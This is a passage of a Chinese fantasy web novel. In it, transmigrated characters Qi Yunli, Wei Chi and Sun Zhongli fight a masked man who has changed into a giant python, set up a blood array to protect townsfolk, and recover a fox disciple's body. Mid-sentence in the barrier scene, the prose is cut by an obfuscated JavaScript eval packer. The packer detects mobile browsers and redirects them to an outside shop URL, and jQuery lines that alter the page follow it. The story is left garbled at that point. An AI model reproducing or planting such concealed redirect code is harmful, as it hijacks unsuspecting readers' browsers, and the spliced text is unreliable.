此地全是妖魔鬼怪,稍有不慎就可能有生命危险。 结果孙仲礼平白无故就变回人形,引得院子里的人大喊大叫。 幸亏齐云鲤出手迅速,这才没有让外面的人听到动静。 孙仲礼低着头很不好意思地说:“是我不好,都是我的错。” 道歉得相当顺畅,似乎已经极其熟练,一看就没少被人欺负。 发现这件事齐云鲤也不好继续责怪,只能进入正题。 她先说:“天生我材必有用。” 孙仲礼抬头,只是“啊”了一声,并没有接下一句。 齐云鲤又说:“昔人已乘黄鹤去。” 孙仲礼像个上课被点名起来回答问题的学生,因为答不出来只能低头认错。 前一句是高中语文教学内容,后一句是初中语文教学内容。 结果孙仲礼貌似都只是略有耳闻。 齐云鲤实在无可奈何,只好说出小学语文教学内容。 “……床前明月光。” “疑是地上霜!” 孙仲礼反应迅速,马上接下一句,甚至还有点兴高采烈。 但齐云鲤完全高兴不起来,因为这首诗是小学低年级的。 原本以为有帮手,结果是个货真价实的小孩,最多也就小学三年级。 ——而且不但年纪小,估计还经常被人欺负。 齐云鲤无话可说,这小孩问题大得很,完全没意识到事情的严重性。 老乡见老乡,两眼泪汪汪未必就是好事。 何况这边还有个穿书者面具人,一旦碰到他,势必会被敲骨吸髓。 估计孙仲礼都不知道自己是怎么死的。 虽然齐云鲤愁容满面,不过孙仲礼却欣喜若狂,瞬间就把情况交代清楚。 “没想到居然能在这里遇见自己人,我刚过来什么都不懂,而且这个人不是刚入门的新弟子,早已学会很多东西。可那些书我都看不懂,还有剑法我也不懂,功法也不懂,基本一无所知,所以才会叫上其他几个一起晚上练习。” 这段话很符合日常穿书者的特性,但齐云鲤听了有些奇怪,怎么这些事她都知道? ——难道因为这些事青湖都了如指掌,所以她就继承? 但这小孩的躯体主人原本就学过很多知识,怎么他不知道? 之前卫池几乎无所不知无所不晓,因此齐云鲤也就没有多想。 但现在孙仲礼说他一无所知,就显得有点奇怪。 即使自己曾经是鼎山中人,这知道得也有点太多。 ——怎么他们两个截然不同? 不过知道得再多,她依然不清楚面具人是谁。 虽然不清楚具体情况,但齐云鲤还是告诉孙仲礼化形之后千万不要再随便变回人形,如果再这样,估计会有生命危险。 孙仲礼听了连忙点头称是,说请她放心,以后绝不会发生这种事。 齐云鲤自报姓名,然后问孙仲礼的原名。 孙仲礼说原名不重要,叫现在这个名字就行,又说齐云鲤的名字是鲤鱼跃龙门。 虽然话很好听,不过齐云鲤没这么想,毕竟她大学毕业就躺进医院。 孙仲礼说自己没看完小说,所以很多事情还不清楚。 他一副天真烂漫的模样,齐云鲤也不忍说出真相。 小说断更以后读者在网上骂了几个月,以至于最后出现一句话——恨他就请他看《长夜道枯》。 孙仲礼绝对不是断更之前开始看《长夜道枯》的。 让他看小说的人肯定没安好心,万一看到鼎山灭门,他估计会崩溃。 ——而且他根本不知道小说已经坑了。 不过孙仲礼又问:“这里真是小说吗?” 他感觉跟自己看到的有很大差别。 “有点变化,所以我们来了。”齐云鲤只是笼统地说。 孙仲礼很好奇:“这地方在小说里出现过吗?” “没有,不知道是什么地方。”齐云鲤摇摇头。 孙仲礼又说:“会不会是秋容女仙的地盘,或者菩提汇海?” 这两人在小说里就是混世魔王的存在,虽然没有明确描写,但明里暗里都在说。 “不会,他们要有地盘也不可能出现在鼎山。”齐云鲤长叹一声,还有读者怀疑鼎山灭门是不是跟他们有关,但谁也拿不出证据。 说起来那些怀疑其实都空口无凭。 两人交流时,卫池悄无声息瞟过去一眼。 角落里那两个人聊得很好,孙仲礼看起来甚至还有点心悦诚服。 ——这当然不是什么好事。 他继续跟鼎山弟子讨论,只不过心里已经做好打算。 齐云鲤心情复杂,只能把基本信息交流完,便走回众人面前。 她看到那个鼎山弟子跟卫池在讨论怎么活络筋骨,就感觉怪怪的。 不过卫池不用担心,毕竟他又不是一无所知的孙仲礼。 于是她说:“城内局势错综复杂,所以不能再像之前那样所有人一路。接下来得兵分两路,一路人去弄孙峥湖躯壳,另一路人去找孙峥湖魂魄。” 说完齐云鲤就开始分配任务,虽然没有具体到个人,不过也大致分成两路。 几个鼎山弟子立马整装待发,只有一个人反应没那么迅速。正是比较可疑的那个鼎山弟子,不知道在犹豫什么。 见此情形,齐云鲤就说她跟那个人一组,其他人另一组。 谁知话音刚落,卫池就说:“孙师兄的躯壳绕着城墙走动,那么还是两个人沿城墙布阵寻找的好。我跟师父比较熟悉,相对来说方便很多。” 齐云鲤不知道他什么意思,明明那个人很可疑,怎么还让他跟其他人一路。 可其他人觉得卫池很有道理,还开始讨论起寻找魂魄的要领。 那个鼎山弟子和孙仲礼也讨论得全神贯注,齐云鲤完全无法反驳,只好默认她跟卫池去寻找躯壳,其他人去寻找魂魄。 只是在临行前她发给鼎山弟子一人一个锦囊,说是有防护作用。 锦囊里是禁地土石,应该有用,毕竟之前帮她挡好几次。 卫池没有拿出什么,只是拍了拍孙仲礼肩膀,祝他一路顺风,不过也趁机布下一个阵法。 院内鸟雀只是暂时定身,没有任何伤害,不久之后定身解除,他们也就没事。 化形完毕,两队人便分头行动,结果齐云鲤这边一猫一鸟刚出城就打起来。 环境复杂多变,未免惊扰他人,双方都只使用剑法。 卫池变回人形一剑刺来,燕子齐云鲤毫无招架之力,只能变回人形用剑格挡。 她感觉自己跟青滔打了那么久,之后一路打过来怎么都算经验丰富,跟人比剑应该不在话下。结果发现对面剑法实在惊人,怎么看都不像普通鼎山剑法。 ——老练得仿佛历经腥风血雨,踏遍尸山血海。 因此过了一会儿,齐云鲤手臂和肩头就被划出血痕。 她没见过卫池用剑,没想到他下手这么狠。 之前青滔用剑都不会把她打成这样。 这就不是比剑而是搏斗,而且有明晃晃的杀意。 齐云鲤没正式跟人搏杀过,一时只能处于下风。 不过双方厮杀一段时间也没分出胜负,她顿时发现被青滔打的妙处。 虽然当时被打得毫无还手之力,但其他人再打她就没什么大不了的。 之前连续被打十多天,感觉现在能一直打到天亮。 即使她打架不行,但挨打很行。 处于下风就下风,又不是人头落地。 虽然卫池全是死手,可她总能避开要害。 血光飞溅也只伤及皮毛,没有给下方皮肉筋骨造成损伤,只是看起来吓人。 齐云鲤处于下风,但也仅此而已。 城外这一战既悄无声息,又惊心动魄。剑锋与剑锋之间有凛冽锐气,又有令人窒息的压迫。 卫池之前见那个青湖帮忙说话,还以为她是好人。 结果她转头就叫走孙仲礼,把他说得心服口服。 那个青湖是什么人不清楚,但孙仲礼绝对是涉世未深的小孩。 之前感觉那个鼎山弟子可疑,没想到最可疑的是那个青湖。 既然明显到这种程度,那当然必须斩草除根。 因此卫池剑法凌厉,几乎能把人的皮肉层层削去。 不过对面是被青滔连续打十多天也相安无事的齐云鲤。 若是其他时候,她还会想一下具体怎么应对。 但此时完全没精力动脑子,只剩下本能厮杀。 修道人士单纯的厮杀极为罕见,而在厮杀时完全不用修为,全凭剑法更是前所未有。 两个人从城门附近一路打到城池东边没有风的地方,齐云鲤突然望见远处出现孙峥湖的身影,身形不由一顿。 刹那间卫池的剑就架上她脖子,剑锋闪着寒光,仿佛下一刻就能划破咽喉。 “你有病吧?!”齐云鲤只能无可奈何大喊。 卫池没有理会她的态度,只是说出:“你究竟是什么人?青湖本人魂魄早就在禁地被人打出躯体,我亲眼所见。” 这件事双方都知道,齐云鲤不知道他为什么还重点强调。 “都说了我只是过来解决一些事,绝无恶意,”她也只好重复,“当下情况比较危险,还是先处理这边的事情比较妥当。” 齐云鲤的意思是孙峥湖的躯体就在那边,赶紧过去抓住。 不过卫池听来却是另一种意思,这地方可疑,那个鼎山弟子可疑,他怀疑来怀疑去,结果最危险的还是她。 解决一些事,谁知道是什么事。 卫池轻声说:“我看你更危险。” “我之前还帮了你!”齐云鲤很不服。 之前卫池化形成猫相当可疑,以至于鼎山弟子都开始怀疑。 要不是齐云鲤及时解释,恐怕早就打起来。 可卫池现在没有任何感激,只是点出关键:“一连串可疑的东西只是为了让你不可疑。” “这有什么用?!”齐云鲤莫名其妙。 “你刚才跟孙 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小学毕业才十二岁,估计孙仲礼都还是低年级。 她态度猛然一变,卫池不由问:“他跟你不是一伙的?” “我根本就没见过他!”齐云鲤明显急起来。 两个可疑人士其中之一变得不太可疑,那么另一个就更加可疑。 卫池干脆利落地收剑回鞘:“估计那是专门来打你的。” “……啊?”脖子前面的剑锋突然消失,齐云鲤还没反应过来。 “你去打他,这边有我就行。安分点,别趁机挑事。” 卫池转身就走,没有片刻停留。 齐云鲤见他走向远处那个孙峥湖的身影,就知道这边已经没事。 不过从他的反应来看,另一边的事情可能就大了。 毕竟是从剑锋直抵咽喉变成转身走远,前后差距大到不可思议。 有这么大的变化,自然不可能是小事。 幸亏之前送给鼎山弟子锦囊,还能感应到大致方位。 齐云鲤转身就跑,感觉一旦慢了就会造成不可挽回的损失。 锦囊里的土石出自禁地阵法,或许还带有部分蒙眼女子的功力。 就在这时,鼎山弟子在城内发现一点孙峥湖魂魄的线索。 由于孙峥湖是狐妖,因此事先跟他们打过招呼。能化人形的妖精魂魄比其他人的魂魄更暗淡,这也是为了自我隐藏。 修道人士时常遇到交换魂魄的事,有时被交换的魂魄与躯体相距很远,旁人寻找魂魄难以辨别。这种时候很可能认错魂魄,然后导致严重后果。 为了避免发生这种事,修道人士通常会提前知晓魂魄状态。 所以孙峥湖提前告知鼎山弟子自己的魂魄状态。 “那我们的魂魄状态不用知道吗?”有人问。 孙峥湖摇摇头,像是在给自己默哀:“不用,这次就我特别倒霉。” 他算吉凶悔吝是绝对准确的,因此众人便不再疑虑。 ——只是没想到还能倒霉成这样。 五个鼎山弟子望见远处的暗淡魂魄,感觉就是那个,于是转身就走。可在右拐进巷子时,其中一名鼎山弟子突然施法布阵,在众人头上变出十余把长剑,寒光闪闪的剑锋当头劈下。 谁也没料到还有这种事,待看清长剑剑锋时已经束手无策。 这是没有任何压力的偷袭,原本势在必得。 可就在千钧一发之际,四人身上的锦囊突然发光,光芒照耀之处瞬间出现防御阵法,长剑就劈在阵法上。 谁都不知道救命阵法是怎么出现的,但所有人都看到玉兰花。 一共四个人便因此出现四个阵法。 阵法叠加下,中心那朵玉兰花愈发壮大,最后与剑锋相撞便化作纷纷扬扬的花瓣撒落一地。 四人惨遭偷袭,接着又看到一地的玉兰花瓣。 花瓣很大,仿佛某种生机。 那个阵法还要再出力,转瞬间又有锋刃冒出,不过有一道凌冽剑气将其斩碎。 齐云鲤冲过来大喊:“他被人交换魂魄了!” ——果然出大事。 此事对孙仲礼来说过于罕见,以至于他还转头去看那个鼎山弟子。 那个人趁机变出攻击阵法,阵法就要猛冲过去。 刹那间,孙仲礼肩上出现一个阵法,将攻击阵法挡住。 两个阵法僵持不下,齐云鲤赶紧冲过去击碎攻击阵法,然后跟那个鼎山弟子打起来。 那个鼎山弟子没有用剑,只是施法布阵。 齐云鲤照着青滔的样子将阵法逐一砍碎,总算知道他为什么不用阵法。 ——施法布阵太慢。 那个人见状不妙,就骤然膨胀成一条巨蟒。 巨蟒身形硕大,瞬间就压塌几座房屋,周身鳞片弹射出去还将附近建筑破坏,顷刻间就将四周化作只有断壁残垣的空地。 此时的鼎山弟子都还没掌握鼎山剑法,因此剑阵没希望。 齐云鲤只能想办法单挑,于是借面前巨蟒的形也化形成巨蟒。虽然鳞片没那么坚不可摧,不过好歹是条蛇。 20. 兵分两路 这时孙峥湖又走到城北,从城外过去很费时,于是卫池从城内绕过去。 城内依然有三三两两的行人,在路过时很巧妙地没产生任何碰撞。这种行为原本随处可见,但过了一会儿,卫池就发现问题。 尽管没有任何接触,可始终有三个人在他身后尾随,而且已经跟了一条街。 卫池抬头看天,发现空中有一丝细微波动,那三个人就在波动之中。 那种波动类似功法痕迹,估计有人施法让那三人一路尾随。 他加快步伐,在前方转角之处隐藏起来,然后就见到那三人在波动之中继续前行。那三人逐渐走远,可空中的波动仍在。 那种波动很轻微,只有修为极高之人才能如此施法。 不过那些细微波动通常来说难以察觉,在这里却有点明显,但凡修道人士都能看出来。 丹青宝卷里没有龙息,却在龙息鼎盛的鼎山。 外界龙息没有摧毁这里,可能是因为这里有元气,元气和龙息维持着平衡,因此保全这里。 也许那种微小波动在龙息里难以察觉,但在元气中却比较明显。 卫池走出藏身处,空中波动便有所扩大,仿佛水波涟漪。不但之前那三个人折回来,另一个方向也走来两个人。 他主动走向那三人,在擦肩而过时有意带起一丝波动,然后将细微波动弹开,洒在半空。零碎波动逐一成形,接着带动更多人向他走来。 人数明显变多,一共十七人,应该需要消耗不少功法。 在此消耗功法只是一种浪费,过犹不及说的就是这种事。 一旦煞费苦心,就没精力去对付鼎山弟子。 于是卫池跃上屋顶,沿正脊一路狂奔,然后又跳上另一个继续向前冲。地面的十七人也纷纷跃上屋顶,不过他们身手没那么灵活,时不时就踩空滑倒,或者掉落下去。 那些人掉落的瞬间,空中出现一些犹如碎纸的痕迹,不过随即又消失。 似乎本来会出现什么变化,但是被抚平。 痕迹远处是丝带上的粉嫩花朵,有几朵凋谢,又有几朵重新绽放。 花朵和痕迹的变化都不是人力所为。 ——也不知出自谁的手。 丹青宝卷这地方匪夷所思,那些丝带也绝非常人所为。 似乎在有意维持天府之国的安宁。 卫池发现半空中的波动愈发紧密,因此跳到空地跟身后之人打起来。 打斗双方没有谁能速战速决,只是越来越焦灼,半空中的波动也越来越密集,密得都可以形成一张网。 越来越多的人走向空地,仿佛这边有什么宝藏。 人数已经远远超过修道人士所能掌控的范围。 无论何方神圣,都无法承受如此多的人数。 这已经不是派人尾随,而是有人刻意引导,仿佛钓鱼之前先撒饵料吸引鱼群过来觅食。 那张波动的网形成之时,卫池便径直冲过面前众人,一举击碎密布网格。 网格是种操纵之术,需要消耗大量功法。 波动网格烟消云散,刚才还奋力打斗的一群人便晕乎乎倒在地上。他们全然失去行动能力,又逐渐现出原形,基本都是鸟兽。 虽然孙峥湖的躯体还没找到,但卫池已经消耗对手大量功法。 这边打斗结束就破坏了阵法布局,因此齐云鲤跑在城里没发现什么异常。而且一进城,心中不由涌出安全感,让她原本还有些焦急的心安定下来。 四周三三两两的行人,彼此之间没有任何接触,远处时不时闪过一点不同寻常之物,有些奇怪但又很普通。 似乎某些事物的存在只是为了安定这块土地。 她凭借对锦囊的感应一路猛冲,突然望见前方闪起刀剑寒光,就知道已经出事。幸亏千钧一发之际锦囊变出阵法抵挡攻击,齐云鲤这才冲过去打碎攻击阵法。 “他被人交换魂魄了!”她赶紧提醒那几个鼎山弟子。 但孙仲礼转头一看,又差点被偷袭,幸好他肩上冒出阵法挡住攻击。 两个阵法难分伯仲,一时僵持不下。 齐云鲤赶紧过去击碎攻击阵法,然后跟那个鼎山弟子打起来。 结果才打一小会儿,那人就化形成一条巨蟒。 虽然之前跟巨蟒打过几次,但齐云鲤没有仔细观察细节,只有个大概印象。不过大概就大概,好歹也有个大致形态。 于是她化形成长蛇跟巨蟒打起来。 不过即使化形成长蛇,齐云鲤也依然被对手压一头。即便能甩尾重击,也无法给面具人造成什么伤害。 巨蟒砸碎一栋小楼,将木板碎石甩向周遭居民,齐云鲤冲过去挡下,对着身后大吼:“还不快走!” 受到惊吓的居民纷纷抬手,似乎拿出什么东西给她,然后变回原形转身逃命。 齐云鲤不知道他们拿出什么,不过接下来她居然能扛住巨蟒的猛烈进攻。 虽然不知道是何种灵丹妙药,但效果很好。 接下来一蛇一蟒在空地上猛甩尾,将四周打得支离破碎,又因为不是原地打转,所以方圆五里几乎都沦为废墟。 一片废墟里,长蛇齐云鲤卖力地跟巨蟒打在一起,毕竟现在不出力之后想出力都不行。 “师叔,脖子上有白色花纹,背上有蓝色花纹,还有一对爪子!”远处有鼎山弟子冲过来大喊。 齐云鲤闻言一看,对面的巨蟒只是蟒蛇形态,根本就没有爪子。 又是一个喊声:“之前在秘境外出现的那个,化形成那样你就赢了!” 秘境外出现的是蛟,巨蟒再怎么厉害也只是一条蛇,蛟却具有一定龙形。 齐云鲤也搞不清究竟怎么回事,反正更能打就行。 于是长蛇猛然变成蛟,卷起巨蟒就向城外撞去。由于之前不是在城墙边打斗,所以这次又造成不小的破坏。 蛟用爪子抓起巨蟒就朝城外丢去,虽然让危险离开天府之国,不过也砸碎半面城墙。一蛟一蟒又在城外荒野打起来,由于没有城中阻碍,所以双方打得更狠。 鼎山弟子在城墙上看到远处打得难解难分,明明青湖师叔已经化形成蛟,但还是无法彻底压过对面巨蟒。 齐云鲤跟面具人打得不分上下,感觉又能耗到天亮。 天色略微转明时,面具人化形的巨蟒陡然遭到重击,并且直接划出一道血痕。 突如其来的偷袭令齐云鲤也有些惊讶,她定睛一看竟是荒野里那个舞女,此时正是天魔相。可她转头看过来时,面容又瞬间变成天女相,似乎在示意赶紧打。 齐云鲤正愁没法分胜负,谁知突然来一个帮手,因此一人一蛟对着巨蟒就是一顿猛烈攻击。由于舞女的飘带攻击招招见血,不一会儿便将势头压过去。 城内的砖石碎屑到处乱飞,又有木梁瓦片砸得遍地都是。即使巨蟒攻击都被挡在一侧,但遭到破坏的建筑加上本来就不太安宁的环境一时变得危机四伏。 城内居民纷纷化做原形,瑟瑟缩在角落里,生怕不经意间就被什么东西打伤。 可是众人躲藏的木墙却被一块飞过来的尖锐巨石砸裂,巨石背后还紧跟着其他碎裂石块。眼看就要小命不保,陡然间却闪出一个金黄光芒的阵法,将碎石砖块都挡在外面。 一个鼎山弟子手持龙骨令,跳到众人藏身处,将飞过来的东西悉数挡开。刚才被砸裂的木墙也被阵法顶起,不让其倒下。 “这都是妖魔鬼怪吧?”孙仲礼走过来守住阵法,很是疑惑。 鼎山弟子指指巨蟒:“那边更危险。” “还有一个师兄去哪里了?”孙仲礼又问。 鼎山弟子还是指着巨蟒:“那边。” 方才他们几人在城内发现孙峥湖的魂魄,虽然发生一些打斗,不过也还顺利。只是青湖师叔跟那个鼎山弟子双双化形,将四周搅得天翻地覆。 几个鼎山弟子虽然都刚进鼎山不久,但也清楚这是他们带来的麻烦,那就得及时处理。那边的打斗给城内造成很大灾难,因此众人一致同意布阵设防。 此地没有龙息,但是有元气。 虽然不清楚具体怎么回事,不过现在能用就行。 几个鼎山弟子紧急翻看布阵相关知识,随后竟然还真的成功布阵。 ——看来元气是真的有用。 众人在一堵木墙后布阵,他们知道孙仲礼之前大病一场,因此没有让他参与。不过孙仲礼也没闲下来,而是四处检查,一旦发现危险马上解决。 躲过来的人越来越多,因为挤所以变回原形,让出位置给其他人。 于是在丹青宝卷里,这边是一蛟一蟒在厮杀,其中还有个舞女,那边是一面木墙背后,上百人变回原形挤成一团瑟瑟发抖。 卫池在城外找到孙峥湖躯壳时,城里已经形成这样的局面。 城外打得地动山摇,他都没有担心,不过城内局面不太乐观。 卫池看到很多人都朝一个方向跑,就赶过去一看。 结果发现是鼎山弟子在布阵设防,挡住飞过来的砖石碎屑,但他们的阵法也岌岌可危。木墙再怎么坚固,在砖块碎屑的击打下也接近破裂。 “普通阵法难以抵挡这么密集的打击,这个阵法很快就会破裂。”卫池赶过去说出这件事,同时甩出几个符咒,暂时加固阵法。 一个鼎山弟子说:“这已经是我们能使出的最有效阵法,毕竟没有修为高深之人。” 孙仲礼看到卫池来了很是激动,急忙说:“好像有个阵法,即使修为不高也可以使用。” “的确有这种阵法,修为不高也有极强防御能力,不过是以布阵之人的性命做担保,虽然有效但很危险。”卫池想起那个阵法就不免皱眉。 “那赶快试一下吧,这个阵法撑不了多久。”鼎山弟子见卫池眉头紧皱,知道不是一件容易事。 卫池只好说出血阵的布阵方法,让鼎山弟子布血阵来抵挡破坏。 由于卫池是人炉,所以没人怀疑他知道得太多。 血阵是以血为引布下的一种阵法,防御力极强,但也极耗布阵之人的性命,差不多就是拿命来挡灾。 不过在鼎山弟子用血布好阵后,四周血色光芒一闪,方才还嘈杂的环境瞬间安静下来,平静得仿佛只是一个日常清晨。 “此法消耗过大,务必小心,不然就有性命之忧。”卫池强调。 虽然他神情严肃,但鼎山弟子不免松口气,躲在那里的居民更是长舒一口气。孙仲礼也参与血阵铺设,不由长叹一声,这性命攸关的大事可算是暂时揭过。 在众人略显轻松的这一刻,卫池又在血阵外打开一个无形屏障 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17002800|193353||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,即使有什么东西攻击过来,率先碰到的也是屏障,而不是血阵。 城外打斗逐渐平息,在突然变暗又变亮之后,天府之国彻底平静下来。 缩在角落里的鸟兽又变成人形,原本还能勉强容纳一点空隙的场地瞬间就被挤满,很多靠边的人直接被挤出去。 众人你踩我我踩你,好一阵子才恢复成普通拥挤。 卫池见这些人还没离开,也不耽误时间,直接从乾坤布袋中掏出一只狐狸摆在地上,说:“这是孙师兄的躯壳。” 狐狸紧闭双眼趴在地上,鼎山弟子拿出锦囊,从里面摸出一张符咒,贴在狐狸头上,只见狐狸微微一颤,周身已经有了活力。 符咒里是之前找到的魂魄,不过狐狸依然双眼紧闭。 “怎么还没醒啊?”孙仲礼很是疑惑。 卫池收好布袋就说:“只是睡着还没醒。” 打斗平息的前一刻,面具人化形而成的巨蟒再也无法忍受一人一蛟的攻击,于是使出全部功法奋力一击。 霎那间天地都为之变色,清晨刹时变为暗夜,昏昏沉沉的黑云似乎就要压下,齐云鲤脑子里闪过“黑云压城城欲摧”这句诗,有种死到临头的感觉。 不过后一句是“甲光向日金鳞开”。 于是黑暗中突然爆发出两道闪亮光芒,光芒万丈,令人不能直视。两道光芒缠绕在一起,形成长剑模样,对着暗夜猛然一劈,径直破开一道狭长裂口。 沉沉黑云被金色剑芒压过,只能无奈散开,带着烟尘消失在广袤荒野中。 面具人化形的巨蟒一时无力还击,只能烟消云散。 齐云鲤恢复人形,立在城墙上举目四望,找到金光出处。 尚未退尽的金光被圈在沿城墙分布的花朵中央,光亮中花朵更加鲜艳。 没想到花朵居然跟金光有关,于是她冲过去查看。 金光一路往回退,最后退到一块空地。 空地上是之前见过的那两尊雕像,雕像边缘仍有一丝凛然剑气。 两尊雕像都是普通人形大小,雕刻得很细致。 两个都是女子,一个蒙着双眼,另一个衣服上有鲤鱼在云中嬉戏,正好跟齐云的名字相吻合。 雕像前还摆着香炉,从积攒的香灰来看,平日时常有人上香。 齐云鲤双手合十诚心拜了拜,就听见耳边传来风声,转头一看,居然是舞女。 “你怎么又跟过来了?”舞女是天女相,齐云鲤知道没有威胁,便不再提心吊胆。 舞女没有说话,只是也向两尊雕像一拜,之后便离开。 这么看起来,舞女跟那两尊雕像仿佛是同一阵营。 说起来她们也是帮了不小的忙。 齐云鲤翻翻周身,只找到个平安符,就把平安符放在蒙眼女子雕像跟前。 城内居民在木墙下蜷缩着,鼎山弟子正围着那只狐狸,四周阵法已撤,木墙已没有阵法遮挡。在这没人留意的时候,木墙向下倾斜,即将砸向墙下众人。 所有居民瞪大双眼,却无能为力。 千钧一发之际,一个阵法闪现,瞬间挡住倾塌木墙,墙后传来一个声音。 “怎么要塌要塌的?”齐云鲤皱眉绕过木墙,见舞女在她身后张望,一脸不悦,“你怎么还跟过来?” 墙下众人看见舞女就纷纷摆手摇头:“不是我,不是我干的。” 她见状点头,然后凭空消失,缩成一团的居民这才起身离开。 齐云鲤见状若有所思,接着走到木墙下。此时血阵已撤,只有一只狐狸趴在地上呼呼大睡。 “叫他起来。”她指了指狐狸,心里有点不爽,毕竟自己刚才生死搏杀,这边却有只狐狸在睡安稳觉。 “让他睡一下,被人夺去魂魄也消耗不少。”卫池马上拒绝。 由于之前差点被他斩杀,齐云鲤只好咽下一口气。 她转头看向孙仲礼,见他虽然没有受伤,却似乎消耗不少气力,就说:“凡事要循序渐进,别想着跳级,慢慢来就行,太快会出问题。” “可孙师兄还没醒。”孙仲礼看着狐狸,似乎有点遗憾。 “他睡他的不用管,”齐云鲤转头看向那三个鼎山弟子,“刚才现身的是之前在秘境的巨蟒,它是我们引过来的,眼下只是消失不见,并非彻底离开。” 鼎山弟子听到巨蟒瞬间就来了精神,齐声问:“要怎么对付?” “这件事不用你们负责,你们要做的是率先离开这里,”齐云鲤指了指狐狸,“带上那个。” “巨蟒可大可小,或许会如一缕轻烟潜伏偷袭他们。”卫池又开口,仿佛专挑这种时候说话。 “所以你们要团结一点,小心提防,”齐云鲤又咽下一口气,语气尽量平缓,“不过重点不在你们身上,不用太过操心。” “那个鼎山弟子怎么办?”有人问。 “我会想办法带回他,你们不用操心。” 被人交换魂魄的重点是原来那个人消失不见。 虽然小说里有怎么找回的情节,但过程比较曲折,不是鼎山弟子能够应对的。 平复好心情,齐云鲤又说:“这里有个城主,先去和城主打个招呼,不然你们都不好出去。” 鼎山弟子整装待发,孙仲礼则抱起那只狐狸,忍不住揉了揉松软皮毛。 21. 自学成才 众人前前后后走在街上,此时已是清晨,远处泛起一点光。光芒下不安似乎随之离去,仿佛那些匪夷所思的事只发生在夜晚。 但齐云鲤的疑惑并没有随天亮散去,而是更加浓重。 “巨蟒还会偷袭他们?”她始终没想明白。 卫池走在她左前方,轻声说:“难道不会?” 说得煞有其事,但这又跟他之前的话相冲突。 齐云鲤问:“你不是说那是来打我的?” ——她可是信以为真。 “偷袭他们更方便打你。”卫池没有否认,只是又推一把。 这话完全无法反驳,齐云鲤只能沉默。 面具人想方设法来打她,结果被金光打断,势必不会罢休。 之前面具人攻击鼎山弟子被阵法挡住,接下来必定还会出手,好歹那几个人最好下手。 为了打她所以先打鼎山弟子很有可能,毕竟已经打过一次。 “反正最终是要打你,别连累其他人。”卫池似乎有点嫌弃。 “孙峥湖躯体已经找回,你可以防着点,”齐云鲤不知道他对什么不满,只是说出之前情况,“他喜欢偷袭,之前差点得手,幸亏我给的锦囊有用。“ 面具人的偷袭是锦囊用阵法挡住的。 卫池似乎十分不可思议:“你给的锦囊还有用?” “比你的阵法有用多了,那个阵法挡得很勉强,幸亏我及时出手。”齐云鲤说着还比划两下。 卫池皱起眉头:“原本就是你的责任,你还得意起来?” “我没得意,是你没用。”齐云鲤纠正他的说法。 卫池虽然没看到当时情形,但是没退让。 “你连我的话都听不懂,还能有什么用?” 这人完全听不懂他的话,为了以防万一所以他才布阵设防。 “那是你不会说,不是我不会听,”齐云鲤气势汹汹,“那些龙息元气的东西就没有鼎山弟子听得懂,我就说没人懂吧?” 当时几个鼎山弟子都是一脸茫然,没有例外。 “他们能在此顺利布阵,就是已经掌握如何运用元气。”卫池点出现实依据。 齐云鲤很不服:“那也是我及时补充说明,你前面那些话谁听得懂?” “你说了跟没说一样,有什么用?”卫池比较嫌弃。 “你说得高深莫测、不可捉摸,没人能听懂。” 他们两个又因为一些鸡毛蒜皮的事争起来,争半天也没有结果。 前面的鼎山弟子听到后方争吵,回头一看就发现青湖师叔身上有伤。前面又是城内居民的事又是狐狸的事,没人留意这方面的问题。 如今一看感觉都是利器所伤。 之前她打得天昏地暗也若无其事,但现在看来事情似乎有点严重。 由于孙仲礼之前单独跟青湖师叔交谈过,所以现在又被鼎山弟子叫过来打探伤情。 孙仲礼走过来小心翼翼地问:“你怎么手臂和肩膀都有血?” 这些只是表皮外伤,之后跟巨蟒打得死去活来,齐云鲤都没精力留意这些事。如今混乱结束,这些就比较显眼。 她转头去看卫池,发现那个人假装没听见。 于是齐云鲤开始加工,她拍拍那两个地方,只是略微皱眉,然后说:“之前在城外打巨蟒,那个舞女跑过来助力,不过她打得太凶,把我也伤到,幸亏只是皮毛外伤。” 大家都知道舞女打巨蟒,又都看过舞女打她,所以这么说也合情合理。 “那她也太不小心了。”孙仲礼说得很嫌弃。 ——不过被嫌弃的人其实就在这里。 卫池还是假装没听见,齐云鲤就说:“之前打不过我,被她划两下也没什么。” “谁打不过你,小心又被打。”他转头说。 卫池突然插话前所未有,孙仲礼还以为他不会理睬自己,于是赶紧问:“你之前说的元气到底是什么啊?另外几个人居然还成功运用……” “龙息和元气就类似一阴一阳,两边同时存在。”卫池还是言简意赅。 不过孙仲礼依然没听明白,齐云鲤顿时想大笑,果然听不懂。 “龙息和元气就类似城墙内外,虽然墙壁有两面,但都是一面墙,”她趁机解释说明,“在城外看到的是外墙,现在看到的是内墙,虽然有内外之分,不过都是一堵墙。” 这话比较形象,孙仲礼转头望着城墙,似乎略有所得。 “发挥作用的是整堵墙,而不是单独的外墙或内墙。运用龙息就类似从外墙爬进来,运用元气就类似从内墙爬出去。”齐云鲤继续发挥创造。 虽然有点莫名其妙,不过这是目前能接触到的比喻对象。 孙仲礼有些疑惑:“要进城不就只能从外面爬进来?” “龙息和元气只是类似城墙,但并非像那样立在地面,不可转变位置,”齐云鲤又举例说明,“就像鼓掌的时候无论是左手拍右手,还是右手拍左手,都会有掌声响起。” 孙仲礼还是不太懂:“鼓掌的时候不是两只手都要动吗?” “怎么拍都可以,关键是要有掌声响起。”齐云鲤拍拍手,响起清脆的掌声。 孙仲礼闻言拍手,感觉怎样都可以,便问:“反正最后要鼓掌,之前怎么拍都行?” “龙息和元气只是掌面,重点不是掌面而是鼓掌,”齐云鲤点点头,“鼓掌的重点在掌声,而不是拍手姿势。” 左前方的卫池皱起眉头,后方的齐云鲤还在五花八门解释。 虽然他觉得是胡说八道,可孙仲礼当真听进去了,还走到前面跟鼎山弟子详细说明。四个人越说越投入,基本说了一路。 原本谁都听不懂的话,这时竟变得还能交流讨论。 卫池回头瞟了一眼那个青湖,继续皱着眉头。 想不到她说一堆不着边际的话竟然有用。 